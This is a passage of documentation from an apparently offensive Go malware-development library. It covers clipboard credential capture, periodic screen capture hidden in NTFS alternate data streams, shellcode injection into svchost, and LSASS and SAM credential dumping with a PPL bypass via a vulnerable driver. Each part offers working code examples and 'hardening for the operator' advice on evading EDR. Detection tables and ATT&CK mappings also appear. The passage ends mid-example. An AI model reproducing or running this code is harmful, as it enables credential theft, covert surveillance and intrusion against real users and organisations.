return (hasDigit && hasUpper) || hasSpecial ||
strings.ContainsAny(s, "@:$%#")
}
func credentialWatch(ctx context.Context) <-chan string {
out := make(chan string)
go func() {
defer close(out)
for text := range clipboard.Watch(ctx, 300*time.Millisecond) {
if looksLikeCredential(text) {
out <- text
}
}
}()
return out
}
Advanced (encrypt-then-log to per-day file)
Encrypt each clipboard entry with AES-GCM before writing to disk — the on-disk artefact is opaque to YARA/string scanning.
import (
"context"
"fmt"
"log"
"os"
"time"
"github.com/oioio-space/maldev/collection/clipboard"
"github.com/oioio-space/maldev/crypto"
)
func main() {
key, err := crypto.NewAESKey()
if err != nil {
log.Fatal(err)
}
logPath := fmt.Sprintf("clip-%s.bin", time.Now().Format("2006-01-02"))
f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
if err != nil {
log.Fatal(err)
}
defer f.Close()
for text := range clipboard.Watch(context.Background(), 500*time.Millisecond) {
blob, _ := crypto.EncryptAESGCM(key, []byte(text))
_, _ = f.Write(blob)
}
}
See ExampleReadText in
clipboard_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Repeated OpenClipboard + GetClipboardData calls | API-frequency telemetry; rate-based hunts flag >10 open/close cycles per second |
GetClipboardSequenceNumber in a tight loop | Behavioural heuristics; legitimate apps call this at human-interaction rates |
| Clipboard-access audit log (Windows 10 1809+) | Privacy Settings → Clipboard history; third-party EDR clipboard hooks |
| Process making clipboard calls without a visible UI | Anomaly heuristics in MDE / CrowdStrike behavioural engine |
D3FEND counters:
- D3-PA — behavioural API-usage analysis.
Hardening for the operator: use a 500 ms or slower poll interval; embed the monitor in a process that legitimately accesses the clipboard (browser helper, password-manager lookalike); avoid running from a headless service where clipboard access is anomalous.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1115 | Clipboard Data | full — both one-shot and continuous polling | D3-PA |
Limitations
- Text only.
CF_UNICODETEXTformat only; binary clipboard data (images, file paths viaCF_HDROP, rich text) is not captured. - Session boundary. Clipboard access is confined to the current Windows session; an implant in Session 0 cannot read Session 1 clipboard data.
- Race on
ErrOpen. If another process holds the clipboard continuously (rare but possible),Watchwill silently miss those ticks. - Windows only. No Linux/macOS equivalent; build tag
windowsis required.
See also
- Keylogging — captures Ctrl+V paste events as part of the keystroke stream.
- Screen capture — visual complement to clipboard and keystroke collection.
crypto— encrypt captured text before writing to disk.cleanup/ads— hide log files in NTFS ADS.- Operator path — post-exploitation collection chains.
- Detection eng path — clipboard monitoring detection telemetry.
Screen capture
← collection index · docs/index
TL;DR
Capture() returns the entire virtual desktop as PNG bytes using GDI
BitBlt. For multi-monitor targets, DisplayCount + CaptureDisplay(i)
enumerate and capture individual screens. CaptureRect grabs any
rectangular region. All three variants return []byte — send directly to
a C2 channel or stash in an ADS.
Primer
Screen capture gives the operator a visual snapshot of the user's session: open documents, browser windows, RDP sessions, and credential dialogs all appear in the PNG. It is the fastest way to understand what the target is doing without generating process or file activity.
The implementation uses the GDI device-context model: GetDC(0) acquires
a handle to the screen device context, CreateCompatibleDC + CreateCompatibleBitmap
build an off-screen buffer, BitBlt(SRCCOPY) copies the screen pixels into
that buffer, and GetDIBits extracts the raw BGRA pixel data. A final
in-place channel swap (BGRA → RGBA) feeds Go's image/png encoder, which
produces the final []byte. All GDI handles are cleaned up before return.
Multi-monitor support uses EnumDisplayMonitors to collect each monitor's
bounding rectangle in virtual-desktop coordinates, then performs a
CaptureRect on each rectangle. The rectangles may overlap (mirrored
displays) or be non-contiguous (extended desktop) — coordinates are in
virtual-desktop space and handled transparently by GDI.
How It Works
sequenceDiagram
participant Code as "screenshot.Capture()"
participant GDI as "GDI32 / User32"
participant Enc as "png.Encode"
Code->>GDI: GetDC(0) → screen DC
Code->>GDI: CreateCompatibleDC(screenDC) → mem DC
Code->>GDI: CreateCompatibleBitmap(screenDC, w, h) → hBmp
Code->>GDI: SelectObject(memDC, hBmp)
Code->>GDI: BitBlt(memDC, SRCCOPY)
Code->>GDI: GetDIBits → BGRA []byte
Code->>Code: BGRA → RGBA (in-place)
Code->>Enc: png.Encode(RGBA image)
Enc-->>Code: []byte PNG
Code->>GDI: DeleteObject, DeleteDC, ReleaseDC
For CaptureDisplay(i):
enumDisplays()callsEnumDisplayMonitorsto build[]image.Rectangle.- Index bounds are checked against the slice;
ErrDisplayIndexon overflow. CaptureRect(r.Min.X, r.Min.Y, r.Dx(), r.Dy())is called with the monitor's virtual-desktop rectangle.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/collection/screenshot is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple
import (
"os"
"github.com/oioio-space/maldev/collection/screenshot"
)
png, err := screenshot.Capture()
if err != nil {
panic(err)
}
_ = os.WriteFile("screen.png", png, 0o600)
Composed (all monitors, timestamped files)
import (
"fmt"
"os"
"time"
"github.com/oioio-space/maldev/collection/screenshot"
)
func captureAll(outDir string) {
ts := time.Now().Format("150405")
count := screenshot.DisplayCount()
for i := 0; i < count; i++ {
png, err := screenshot.CaptureDisplay(i)
if err != nil {
continue
}
name := fmt.Sprintf("%s/%s_mon%d.png", outDir, ts, i)
_ = os.WriteFile(name, png, 0o600)
}
}
Advanced (interval capture + encrypt + ADS stash)
Capture every 30 s, encrypt each frame with AES-GCM, and append to an NTFS ADS on a pre-existing system file — no new files on disk, content opaque to file scanners.
import (
"context"
"time"
"github.com/oioio-space/maldev/cleanup/ads"
"github.com/oioio-space/maldev/collection/screenshot"
"github.com/oioio-space/maldev/crypto"
)
const (
adsHost = `C:\ProgramData\Microsoft\Windows\Caches\thumbs.db`
adsStream = "frames"
)
func main() {
key, _ := crypto.NewAESKey()
ctx := context.Background()
tick := time.NewTicker(30 * time.Second)
defer tick.Stop()
for {
select {
case <-ctx.Done():
return
case <-tick.C:
png, err := screenshot.Capture()
if err != nil {
continue
}
blob, _ := crypto.EncryptAESGCM(key, png)
existing, _ := ads.Read(adsHost, adsStream)
_ = ads.Write(adsHost, adsStream, append(existing, blob...))
}
}
}
See ExampleCapture and ExampleCaptureDisplay in
screenshot_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
GetDC(0) + BitBlt(SRCCOPY) in a non-GUI process | Behavioural heuristics; screen-capturing from a headless service is anomalous |
High-frequency BitBlt calls | API-frequency telemetry; video-capture rate (>1/s) from a non-known app |
| Large heap allocation for pixel buffer | Memory telemetry; w×h×4 bytes (e.g., 8 MB for 1920×1080) allocated by non-UI process |
| PNG files or large binary blobs written to disk | File-write telemetry — mitigated by ADS stashing and encryption |
EnumDisplayMonitors call | Low signal alone; combined with BitBlt adds confidence |
D3FEND counters:
- D3-PA — behavioural API-usage analysis.
Hardening for the operator: limit capture frequency (1 per 30 s or less blends with screensaver / remote-desktop activity); embed in a process that legitimately renders graphics; send captures over an existing C2 channel rather than writing to disk.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1113 | Screen Capture | full — primary, rect, per-monitor | D3-PA |
Limitations
- Windows only. GDI APIs are not available on Linux/macOS; build tag
windowsis required. - Requires a desktop session.
GetDC(0)returns NULL in Session 0 (SYSTEM service); the call must run in an interactive or remote-desktop session. - DWM exclusion. Windows 10/11 DWM may exclude DRM-protected content
(Netflix, Widevine) from
BitBltresults — protected windows appear black. - No hardware cursor. The captured PNG does not include the software cursor overlay; the mouse pointer position is not visible in the output.
- Virtual desktop coordinates. Multi-monitor setups with non-standard
DPI scaling may produce coordinates that differ from what the user sees
in display settings — use
DisplayBoundsto verify beforeCaptureRect.
See also
- Keylogging — text complement to visual capture.
- Clipboard capture — capture credential pastes.
crypto— encrypt PNG bytes before storage.cleanup/ads— hide frames in NTFS ADS.c2/transport— exfiltrate PNG bytes over the C2 channel.- Operator path — post-exploitation collection chains.
- Detection eng path — GDI-based collection detection telemetry.
NTFS Alternate Data Streams
MITRE ATT&CK: T1564.004 -- Hide Artifacts: NTFS File Attributes | Detection: Medium
<- Back to Collection Overview
Package: cleanup/ads
Platform: Windows (NTFS required)
Primer
Imagine a filing cabinet where every folder has a visible main pocket, but also a row of thin hidden pockets along the back that most people don't know exist. You can stuff papers into those hidden pockets and they won't appear when someone looks inside the folder normally — only someone who specifically searches for the hidden pockets will find them.
NTFS Alternate Data Streams work exactly like that. Every file on an NTFS volume has a default data stream (the file content you see when you open it). But the filesystem also allows any number of named streams on the same file path. Writing document.txt:secret stores data alongside document.txt without affecting its visible size, content, or timestamp. Windows Explorer, dir, and most file browsers only show the default stream — the hidden streams are invisible unless you use streams.exe, PowerShell's Get-Item -Stream *, or an EDR that actively enumerates them.
This makes ADS useful for stashing payloads on legitimate-looking files, persisting data across reboots without dropping new files, and the cleanup/selfdelete package already uses an ADS rename internally to delete the running binary.
How It Works
sequenceDiagram
participant Attacker as "Attacker Process"
participant NTFS as "NTFS Driver"
participant File as "document.txt (on disk)"
Attacker->>NTFS: os.WriteFile("document.txt:payload", data)
NTFS->>File: Create named stream ":payload:$DATA"
Note over File: Default stream unchanged\nHidden stream now exists
Attacker->>NTFS: FindFirstStreamW("document.txt")
NTFS-->>Attacker: "::$DATA" (default), ":payload:$DATA"
Note over Attacker: List() filters out ::$DATA\nReturns [{Name:"payload", Size:N}]
Attacker->>NTFS: os.ReadFile("document.txt:payload")
NTFS-->>Attacker: raw bytes
Attacker->>NTFS: os.Remove("document.txt:payload")
NTFS->>File: Delete named stream only\nDefault stream untouched
Step-by-step:
- Write --
os.WriteFilewith pathfile:streamNamecreates or overwrites the named stream. The default file content and metadata are unaffected. - List --
FindFirstStreamW/FindNextStreamWenumerate all streams. TheList()helper strips the default::$DATAstream and returns only user-created ones. - Read --
os.ReadFilewith thefile:streamNamesyntax reads the hidden stream content directly. - Delete --
os.Removeonfile:streamNamedeletes only that stream; the host file is preserved. - Undeletable files -- The
\\?\prefix bypasses Win32 name normalization, allowing filenames ending with dots (...) that Explorer andcmd.execannot navigate to or delete. Only\\?\-prefixed paths orNtCreateFilecan access them.
Usage
package main
import (
"fmt"
"log"
"github.com/oioio-space/maldev/cleanup/ads"
)
func main() {
host := `C:\Users\Public\desktop.ini`
payload := []byte{0x90, 0x90, 0xCC} // shellcode placeholder
// Store shellcode in a hidden stream.
if err := ads.Write(host, "payload", payload); err != nil {
log.Fatal(err)
}
// Enumerate all hidden streams.
streams, err := ads.List(host)
if err != nil {
log.Fatal(err)
}
for _, s := range streams {
fmt.Printf("stream: %s (%d bytes)\n", s.Name, s.Size)
}
// Read it back.
data, err := ads.Read(host, "payload")
if err != nil {
log.Fatal(err)
}
fmt.Printf("read %d bytes\n", len(data))
// Clean up.
if err := ads.Delete(host, "payload"); err != nil {
log.Fatal(err)
}
}
Combined Example
package main
import (
"log"
"os"
"github.com/oioio-space/maldev/cleanup/ads"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
)
func main() {
// 1. Retrieve XOR-encoded shellcode from an ADS on a benign system file.
// The host file is untouched; only the hidden stream carries the payload.
encoded, err := ads.Read(`C:\Windows\System32\licensemanager.exe`, "cfg")
if err != nil {
log.Fatal(err)
}
shellcode, err := crypto.XORWithRepeatingKey(encoded, []byte("k3y"))
if err != nil {
log.Fatal(err)
}
// 2. Create an undeletable staging file for persistence.
// Trailing-dot names cannot be accessed or removed via Explorer / cmd.
stagingDir := os.TempDir()
_, err = ads.CreateUndeletable(stagingDir, shellcode)
if err != nil {
log.Fatal(err)
}
// 3. Inject via Early Bird APC.
injector, err := inject.Build().
Method(inject.MethodEarlyBirdAPC).
ProcessPath(`C:\Windows\System32\svchost.exe`).
IndirectSyscalls().
Create()
if err != nil {
log.Fatal(err)
}
if err := injector.Inject(shellcode); err != nil {
log.Fatal(err)
}
}
Cleanup — Deleting Undeletable Files
ads.DeleteUndeletable(path)
Since these files use trailing-dot filenames that bypass Win32 normalization,
only the \\?\ prefix (used internally by DeleteUndeletable) or NT-level
deletion can remove them.
Advantages & Limitations
| Aspect | Detail |
|---|---|
| Stealth | Medium -- streams are invisible to Explorer and dir. Detected by Sysinternals Streams, PowerShell Get-Item -Stream *, and EDRs that call FindFirstStreamW. |
| Compatibility | Good -- ADS requires NTFS; FAT32/exFAT volumes silently drop streams. Works on files and directories. |
| Reliability | High -- stream I/O uses standard os.ReadFile / os.WriteFile; no custom syscalls needed. |
| Undeletable files | The \\?\ + trailing-dot trick survives reboots and cannot be removed via Explorer, cmd.exe, or del. Requires elevated NtDeleteFile or a raw NT path to clean up. |
| Limitations | Host file must already exist on an NTFS volume. ADS size counts against the volume quota. Streams are lost when the file is copied to a non-NTFS destination (e.g., FAT32 USB drive, email attachment). |
| Detection bypass | Zone.Identifier (the browser download ADS) is well-known; custom stream names are less scrutinised but uncommon stream names can stand out in EDR telemetry. |
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/cleanup/ads is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Collection area README
cleanup/ads— sister NTFS Alternate Data Stream primitives (CRUD-only, used during scrub)evasion/stealthopen— read ADS payloads via NTFS Object ID, bypassing path-based EDR file hooks
LSASS Credential Dump
MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory
Package: credentials/lsassdump
Platform: Windows
Detection: High
Primer
lsass.exe holds, in memory, every credential material the OS has seen
since boot: NTLM hashes (MSV), Kerberos TGT/keys, WDigest plaintexts
(when enabled), DPAPI master keys, cached domain credentials, and
CloudAP / Live session tokens. Dumping the process and feeding the blob
to mimikatz / pypykatz is the single most common lateral-movement prime
in Windows red-team engagements.
The loud path — MiniDumpWriteDump(lsass.exe, out.dmp, MiniDumpWithFullMemory) —
is blocked or alerted by every modern EDR: MiniDumpWriteDump is
heavily hooked, and so is OpenProcess(PROCESS_VM_READ, lsass.pid) on
its own.
credentials/lsassdump ships a quieter variant:
- Stealthier process discovery:
NtGetNextProcesswalks the running-process list withPROCESS_QUERY_LIMITED_INFORMATIONonly (cheap access that even protected processes grant). NoEnumProcessescall, no PID enumeration via ToolHelp. - Minimal audit surface: the single
VM_READrequest only targets lsass.exe — viaNtOpenProcess(CLIENT_ID{pid, 0}, QUERY_LIMITED|VM_READ)after the walk identifies it. No other process is opened withVM_READ. - No dbghelp: the MINIDUMP blob is assembled in-process, streaming
to the caller's
io.Writer.MiniDumpWriteDumpis never imported. - Caller-routed syscalls: every
Nt*call accepts an optional*wsyscall.Callerso the operator can route via direct / indirect syscalls / Hell's Gate, bypassing ntdll function-start hooks.
How It Works
sequenceDiagram
participant C as "Caller"
participant D as "lsassdump.Dump"
participant K as "NTDLL / kernel32"
participant L as "lsass.exe"
C->>D: OpenLSASS(caller)
loop NtGetNextProcess walk
D->>K: NtGetNextProcess(cur, QUERY_LIMITED)
K-->>D: next handle
D->>K: NtQueryInformationProcess(ImageFileName)
alt name == "lsass.exe"
D->>K: NtQueryInformationProcess(Basic) → PID
D->>K: NtOpenProcess(pid, QUERY_LIMITED | VM_READ)
K-->>D: lsass handle
end
end
C->>D: Dump(handle, w, caller)
loop for each VM region
D->>K: NtQueryVirtualMemory(handle, addr)
D->>K: NtReadVirtualMemory(handle, addr, size)
K-->>D: bytes
end
D->>C: MINIDUMP stream to w
C->>D: CloseLSASS(handle)
Step-by-step:
OpenLSASS(caller)walks the process list with QUERY_LIMITED_INFORMATION.- For each handle,
NtQueryInformationProcess(ProcessImageFileName, 27)returns the image path; we basename-match case-insensitively againstlsass.exe. - On match,
NtQueryInformationProcess(ProcessBasicInformation, 0)yields the PID. The walk handle is closed. NtOpenProcessopens the target withQUERY_LIMITED | VM_READ.STATUS_ACCESS_DENIED→ErrOpenDenied(need admin);STATUS_PROCESS_IS_PROTECTED→ErrPPL(Credential Guard / RunAsPPL=1).Dump(h, w, caller)assembles a MINIDUMPConfig:- Regions:
NtQueryVirtualMemoryloop from addr 0, every committed non-free non-guard region, contents viaNtReadVirtualMemoryin one shot. - Modules:
K32EnumProcessModulesEx(LIST_MODULES_ALL)+K32GetModuleFileNameExW(path-hooked psapi today; PEB-walk variant is future work). - SystemInfo:
win/version.Current()under the hood, so credential parsers pick the right per-build offset table.
- Regions:
minidump.Build(w, cfg)streams the four streams (SystemInfoStream, ThreadListStream, ModuleListStream, Memory64ListStream) plus raw region bytes — no intermediate buffer for memory contents.
Usage
import (
"github.com/oioio-space/maldev/credentials/lsassdump"
)
func main() {
stats, err := lsassdump.DumpToFile(`C:\ProgramData\Intel\snapshot.bin`, nil)
if err != nil {
switch {
case errors.Is(err, lsassdump.ErrOpenDenied):
// Need admin. Escalate or bail.
case errors.Is(err, lsassdump.ErrPPL):
// Credential Guard / RunAsPPL=1 — separate unprotect chantier.
default:
log.Fatal(err)
}
}
fmt.Printf("dumped %d regions / %d bytes / %d modules\n",
stats.Regions, stats.Bytes, stats.ModuleCount)
}
Stealthier syscalls via *wsyscall.Caller
caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
stats, err := lsassdump.DumpToFile("snapshot.bin", caller)
// Every NtGetNextProcess / NtQueryInformationProcess /
// NtQueryVirtualMemory / NtReadVirtualMemory / NtOpenProcess above
// goes through caller → no ntdll function-start hook ever fires.
Streaming into memory (no on-disk artifact)
var buf bytes.Buffer
h, err := lsassdump.OpenLSASS(nil)
if err != nil { log.Fatal(err) }
defer lsassdump.CloseLSASS(h)
stats, err := lsassdump.Dump(h, &buf, nil)
// buf now holds the full MINIDUMP — exfil via C2 without ever writing.
Validation
The package's TestDumpToFile_ProducesValidMiniDump runs on the
Windows VM under MALDEV_INTRUSIVE=1 and asserts:
- MDMP magic + version 42899 + 4 streams
- At least one memory region and one module
- File size > 1 MB (lsass is typically 50–200 MB of committed VM)
A real run against an unprotected Win10 VM parses cleanly with
pypykatz — MSV NT hashes, WDigest plaintexts (if available), Kerberos
session material, DPAPI master keys, and CloudAP tokens all come
through. Compatibility with mimikatz is equivalent by construction:
the stream layout matches MiniDumpWriteDump(MiniDumpWithFullMemory).
Limitations
- PPL-protected lsass (default on Win11, opt-in on Win10 via
RunAsPPL=1or Credential Guard) refuses VM_READ to userland. The package now ships an EPROCESS-unprotect path (Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable)): caller plugs in akernel/driver.ReadWriter(RTCore64, GDRV, custom), passes lsass's EPROCESS kernel VA + the build'sPS_PROTECTIONbyte offset, and Unprotect zeros the byte. A subsequentOpenLSASSsucceeds normally;Reprotect(tok, rw)puts the byte back. Caller is responsible for resolving lsass's EPROCESS upstream (PsActiveProcessHead walk / handle-table parse / bring your own primitive) — different attack chains use different walks, so wrapping that lookup is not part of the surface. See BYOVD — RTCore64 for the driver-side primitive andkernel/driver/rtcore64's SCM lifecycle. - Module enumeration uses
K32EnumProcessModulesEx(psapi), which is path-hooked by some EDRs. A PEB-walk variant (InMemoryOrderModuleList) is tracked as future work. - Threads are not captured — the ThreadListStream is emitted with zero entries. Credential parsers (mimikatz / pypykatz) only need modules + memory; threads are cosmetic for our use case. Can be added if a consumer explicitly needs context bytes (e.g., live debugger open).
- No chunked reads: each region is read in one
NtReadVirtualMemory. For a 200 MB capture this means a 200 MB allocation cross-pagefile — acceptable for the threat model but a future optimisation.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/credentials/lsassdump is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
See also
- Collection area README
credentials/lsassdump— canonical owner of the LSASS dump producer (PPL bypass + MINIDUMP build)credentials/sekurlsa— pure-Go MINIDUMP parser; consumes the bytes produced here
Credential access
Pure-Go credential-extraction primitives for Windows: live LSASS
process dumping, offline SAM hive parsing, in-process MINIDUMP
parsing, and Kerberos ticket forging. The four packages chain
end-to-end — lsassdump produces a dump, sekurlsa parses it
into typed credentials, goldenticket re-uses an extracted
krbtgt hash to mint a Golden TGT, and samdump covers the
local-account branch when LSASS access is unavailable.
flowchart LR
subgraph host [Live Windows host]
L[lsass.exe<br>memory]
S[SYSTEM + SAM<br>hives]
K[krbtgt key<br>on a DC]
end
subgraph extract [credentials/*]
LD[lsassdump<br>NtReadVirtualMemory<br>+ in-process MINIDUMP<br>+ optional PPL bypass]
SE[sekurlsa<br>parse MINIDUMP<br>walk MSV / Wdigest /<br>Kerberos / DPAPI / TSPkg /<br>CloudAP / LiveSSP / CredMan]
SD[samdump<br>REGF parser<br>+ syskey / hashed bootkey<br>+ AES/RC4/DES decrypt]
end
subgraph forge [credentials/*]
GT[goldenticket<br>Forge + Submit]
end
L --> LD
LD --> SE
S --> SD
K --> SE
SE -.krbtgt hash.-> GT
SD --> OUT[NTLM hashes / pwdump]
SE --> OUT2[NTLM / Kerberos / DPAPI<br>/ CloudAP PRT / etc.]
GT --> KIRBI[kirbi blob<br>+ LSA cache inject]
Where to start (novice path):
- Want NTLM hashes / Kerberos tickets from the live host? →
lsassdump→sekurlsachain. The two-package pipeline covers 90% of credential extraction needs.- Want local SAM hashes (no LSASS access)? →
samdump— offline-friendly REGF parser.- Already have a krbtgt hash and want long-dwell domain admin? →
goldenticket— forge + submit.The Quick decision tree below maps every common operator question to the exact entry point.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
credentials/lsassdump | lsassdump.md | noisy | NtGetNextProcess + in-process MINIDUMP + EPROCESS PPL unprotect via RTCore64 |
credentials/sekurlsa | sekurlsa.md | quiet (parser only) | Pure-Go MSV1_0 / Wdigest / Kerberos / DPAPI / TSPkg / CloudAP / LiveSSP / CredMan walkers + LSA-crypto unwrap + PTH write-back + Kerberos kirbi export |
credentials/samdump | samdump.md | quiet (offline) / noisy (LiveDump) | Offline SAM hive dump — REGF parser + boot-key permutation + AES/RC4 hashed-bootkey + per-RID DES de-permutation |
credentials/goldenticket | goldenticket.md | noisy (visible TGT lifetime) | PAC marshaling + KRB5 Forge + LSA Submit for Golden Ticket attacks |
Quick decision tree
| You want to… | Use |
|---|---|
| …get NTLM hashes / Kerberos tickets from a live host | lsassdump → sekurlsa.Parse chain |
…parse a .dmp you obtained out-of-band | sekurlsa.Parse |
| …dump SAM offline (no LSASS access) | samdump.Dump |
| …acquire SAM/SYSTEM live (loud) | samdump.LiveDump |
| …forge a Golden Ticket | goldenticket.Forge → Submit |
| …pass-the-hash into a live LSASS | sekurlsa.Pass / PassImpersonate |
| …pass-the-ticket | sekurlsa.KerberosTicket.ToKirbi → goldenticket.Submit |
| …bypass PPL on lsass.exe | lsassdump.Unprotect + kernel/driver/rtcore64 |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | credentials/lsassdump, credentials/sekurlsa | D3-PSA, D3-SICA |
| T1003.002 | OS Credential Dumping: SAM | credentials/samdump | D3-PSA, D3-FCA |
| T1068 | Exploitation for Privilege Escalation | credentials/lsassdump (PPL bypass via BYOVD) | D3-SICA |
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | credentials/sekurlsa | D3-PSA, D3-SICA |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | credentials/sekurlsa, credentials/goldenticket | D3-NTA |
| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | credentials/goldenticket | D3-AZET, D3-NTA |
| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | credentials/sekurlsa (downstream consumer) | D3-NTA |
See also
- Operator path: credential harvest scenario
- Detection eng path: credential-access artifacts
kernel/driver/rtcore64— BYOVD primitive for PPL unprotectevasion/stealthopen— path-based file-hook bypass forntoskrnl.exediscovery readsrecon/shadowcopy— VSS-based hive acquisition forsamdump
LSASS minidump (live)
← credentials index · docs/index
TL;DR
You want LSASS's in-memory secrets (cleartext passwords, NTLM
hashes, Kerberos tickets, DPAPI master keys). LSASS is a
process; you dump its memory and parse the credential
structures out. This package handles the dump side; the parse
side lives in credentials/sekurlsa.
The "heavily-hooked" path is MiniDumpWriteDump from dbghelp.dll
— every EDR watches it. This package skips it entirely.
| You're targeting… | Use | Constraint |
|---|---|---|
| LSASS without PPL (default on workstations) | Dump | Needs SeDebugPrivilege (admin) |
LSASS with RunAsPPL=1 (servers, hardened) | DumpPPL | Needs admin + BYOVD driver (rtcore64 default) for kernel R/W to flip protection level |
What this DOES achieve:
- Custom in-process MINIDUMP emitter — no
dbghelp.dll, noMiniDumpWriteDumpcall. EDRDbgHelp.dll!*hooks see nothing. NtGetNextProcessfor lsass discovery — noOpenProcess/EnumProcesses(both monitored).- VAD walk via
NtQueryVirtualMemory— output identical toMiniDumpWriteDump'sMemoryListStreamso the dump parses cleanly in WinDbg / mimikatz / sekurlsa. - 6-stream MINIDUMP layout (SystemInfo / ModuleList / MemoryList / ThreadList / Memory64List / Misc) — the canonical subset sekurlsa needs.
What this does NOT achieve:
- Doesn't bypass kernel callbacks —
PsSetCreateProcessNotifyfamily still fires when YOU spawn (don't matter here, but callbacks watching cross-process opens DO see yourNtGetNextProcess+memory reads). Pair withevasion/kernel-callback-removalfor that surface. - Doesn't parse the dump — that's
credentials/sekurlsa. The dump byte buffer is the hand-off interface. - No SAM / NTDS — separate techniques. See
credentials/samdumpfor SAM,credentials/goldenticket.mdfor AD Kerberos forging.
Primer — vocabulary
Six terms recur on this page:
LSASS (Local Security Authority Subsystem Service) — Windows process responsible for authentication, session management, and credential caching. Holds NTLM hashes, Kerberos tickets, DPAPI master keys, and (when the user chose to type a password) cleartext credentials in memory.
MINIDUMP — Microsoft's compact crash-dump format. A binary file with named "streams" describing the dumped process's modules, memory regions, threads, and metadata. Tools like WinDbg and mimikatz read this format to extract credentials.
PPL (Protected Process Light) — Windows protection level applied to LSASS when
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=1. Even SYSTEM cannotOpenProcess(PROCESS_VM_READ)against a PPL process from user mode. Default-on for Windows 11 22H2+; common on hardened servers.VAD (Virtual Address Descriptors) — kernel structure describing every committed memory region of a process. Walking the VAD via
NtQueryVirtualMemorylets the dumper enumerate exactly the same regionsMiniDumpWriteDumpwould walk, without the API hook.
SeDebugPrivilege— Windows privilege required to open arbitrary processes for reading. Granted to admins by default but disabled in the token; must be enabled before use (process/session.EnableSeDebugPrivilege).BYOVD (Bring Your Own Vulnerable Driver) — load a legitimately-signed-but-vulnerable driver (RTCore64 from MSI Afterburner) that exposes an IOCTL for arbitrary kernel R/W. The PPL flip path uses this to clear the EPROCESS protection bits.
Primer
LSASS holds the cleartext Kerberos password material, NTLM hashes, DPAPI master keys, TGT cache, CloudAP PRT, and TSPkg/RDP plaintext. Every credential-dumping tool eventually wants its memory.
The classic path is MiniDumpWriteDump from dbghelp.dll; modern
EDRs hook every interesting call inside that function. The
lsassdump package skips the hook surface entirely:
- Locate lsass via
NtGetNextProcess(noOpenProcess/CreateToolhelp32Snapshot/EnumProcesses). - Walk the target's VAD via
NtQueryVirtualMemoryto enumerate committed regions. - Walk the loaded modules via
NtQueryInformationProcess(ProcessLdr…)parsing the PEB'sLdr.InMemoryOrderModuleList. - Read each region's bytes with
NtReadVirtualMemory. - Emit a 6-stream MINIDUMP (Header, SystemInfo, ModuleList,
Memory64List, MemoryInfoList, ThreadList stub) directly to an
io.Writer.
Every Nt* call accepts an optional *wsyscall.Caller (nil =
WinAPI fallback) so the operator can route through direct or
indirect syscalls and bypass user-mode hooks.
PPL stands separate: when RunAsPPL=1 (Win 11 default) the
kernel rejects PROCESS_VM_READ regardless of token privileges.
The package ships a kernel-level bypass via
kernel/driver/rtcore64: zero EPROCESS.Protection byte
(temporarily), open lsass, restore the byte. The Discover*
helpers parse ntoskrnl.exe PE prologues to derive the EPROCESS
field offsets without hand-curated tables.
How It Works
flowchart TD
subgraph PPL [PPL bypass — optional, only if RunAsPPL]
D1[DiscoverProtectionOffset<br>parse PsIsProtectedProcess]
D2[DiscoverUniqueProcessIdOffset<br>parse PsGetProcessId]
D3[DiscoverInitialSystemProcessRVA<br>find PsInitialSystemProcess]
D1 --> FE[FindLsassEProcess<br>walk PsActiveProcessLinks]
D2 --> FE
D3 --> FE
FE --> UN[Unprotect<br>zero Protection byte<br>via RTCore64]
end
UN -. removes PPL bit .-> OPEN
OPEN[OpenLSASS<br>NtGetNextProcess + access mask] --> ENUM[collectRegions / collectModules<br>NtQueryVirtualMemory<br>+ ProcessLdrInformation]
ENUM --> RD[Dump<br>stream regions to writer<br>via NtReadVirtualMemory]
RD --> DMP[MINIDUMP blob]
DMP --> SK[credentials/sekurlsa<br>parses extracts]
UN -. after dump .-> RP[Reprotect<br>restore Protection byte]
Implementation details:
OpenLSASSwalks the system's process list withNtGetNextProcess— no public-API call ever names lsass by string. The PID is resolved by reading the EPROCESS or viaNtQueryInformationProcess(ProcessBasicInformation).- The Memory64List stream is the bulk of the dump — every
committed region's
BaseAddress + RegionSize + RawData. The package writes the directory entry first, then streams payload bytes through the writer to keep RAM usage flat regardless of lsass size (~80–600 MB on modern boxes). Statsreports per-pass counters (regions, modules, bytes read, bytes skipped) so the operator can spot incomplete dumps before parsing.DiscoverProtectionOffsetcross-validates two prologue patterns (PsIsProtectedProcess+PsIsProtectedProcessLight) and returns the EPROCESS byte offset only when both agree — falsey matches at runtime would otherwise corrupt EPROCESS.Unprotectkeeps the original Protection value inPPLTokensoReprotectcan restore it. Aborting between the two leaves lsass unprotected; defer the call.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/credentials/lsassdump is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — dump unprotected lsass to file
import (
"fmt"
"github.com/oioio-space/maldev/credentials/lsassdump"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
